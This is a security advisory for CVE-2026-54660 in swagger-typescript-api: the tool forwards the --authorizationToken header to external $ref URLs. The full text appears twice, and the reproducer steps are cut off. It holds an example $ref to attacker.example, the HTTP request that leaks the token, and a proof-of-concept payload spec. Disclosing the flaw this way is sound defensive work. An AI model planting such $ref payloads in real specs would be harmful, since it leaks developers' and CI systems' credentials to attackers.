CVE-2026-54660

swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts getRemoteRequestHeaders forwards --authorizationToken to every URL fetched by fetchRemoteSchemaDocument while warmUpRemoteSchemasCache resolves external $ref URLs, allowing an attacker-controlled OpenAPI spec to exfiltrate the developer or CI bearer token to a cross-origin endpoint. This issue is fixed in version 13.12.2.

swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts getRemoteRequestHeaders forwards --authorizationToken to every URL fetched by fetchRemoteSchemaDocument while warmUpRemoteSchemasCache resolves external $ref URLs, allowing an attacker-controlled OpenAPI spec to exfiltrate the developer or CI bearer token to a cross-origin endpoint. This issue is fixed in version 13.12.2.

Summary

When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec — with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.

The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.

Details

The header-builder lives in src/resolved-swagger-schema.ts:81-92:

private getRemoteRequestHeaders(): Record<string, string> {
  return Object.assign(
    {},
    this.config.authorizationToken
      ? {
          Authorization: this.config.authorizationToken,
        }
      : {},
    (this.config.requestOptions?.headers as
      | Record<string, string>
      | undefined) || {},
  );
}

There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url — the URL the user originally specified. The headers object is unconditional.

getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):

const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(),
});

…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.

Net effect: a spec whose response schema is

{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }

causes the generator to send

GET /exfil-endpoint/data.json HTTP/1.1
Host: attacker.example
Authorization: <full value of --authorizationToken>

to attacker.example, regardless of where the original spec was hosted.

The --authorizationToken flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting --authorizationToken is therefore not an exotic configuration; it is the intended configuration for any non-public spec.

PoC

Self-contained reproducer in comments (install [email protected] into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with authorizationToken set, observe what the attacker endpoint received). Tested on [email protected] and Node v24.11.1.

Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):

{
  "openapi": "3.0.0",
  "info": { "title": "TokenLeak-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

Steps:

# 1. Start a loopback "attacker" HTTP server on a different port from the spec server.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Run the generator with…

swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts getRemoteRequestHeaders forwards --authorizationToken to every URL fetched by fetchRemoteSchemaDocument while warmUpRemoteSchemasCache resolves external $ref URLs, allowing an attacker-controlled OpenAPI spec to exfiltrate the developer or CI bearer token to a cross-origin endpoint. This issue is fixed in version 13.12.2.

swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts getRemoteRequestHeaders forwards --authorizationToken to every URL fetched by fetchRemoteSchemaDocument while warmUpRemoteSchemasCache resolves external $ref URLs, allowing an attacker-controlled OpenAPI spec to exfiltrate the developer or CI bearer token to a cross-origin endpoint. This issue is fixed in version 13.12.2.

Summary

When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec — with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.

The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.

Details

The header-builder lives in src/resolved-swagger-schema.ts:81-92:

private getRemoteRequestHeaders(): Record<string, string> {
  return Object.assign(
    {},
    this.config.authorizationToken
      ? {
          Authorization: this.config.authorizationToken,
        }
      : {},
    (this.config.requestOptions?.headers as
      | Record<string, string>
      | undefined) || {},
  );
}

There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url — the URL the user originally specified. The headers object is unconditional.

getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):

const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(),
});

…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.

Net effect: a spec whose response schema is

{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }

causes the generator to send

GET /exfil-endpoint/data.json HTTP/1.1
Host: attacker.example
Authorization: <full value of --authorizationToken>

to attacker.example, regardless of where the original spec was hosted.

The --authorizationToken flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting --authorizationToken is therefore not an exotic configuration; it is the intended configuration for any non-public spec.

PoC

Self-contained reproducer in comments (install [email protected] into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with authorizationToken set, observe what the attacker endpoint received). Tested on [email protected] and Node v24.11.1.

Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):

{
  "openapi": "3.0.0",
  "info": { "title": "TokenLeak-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

Steps:

# 1. Start a loopback "attacker" HTTP server on a different port from the spec server.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Run the generator with…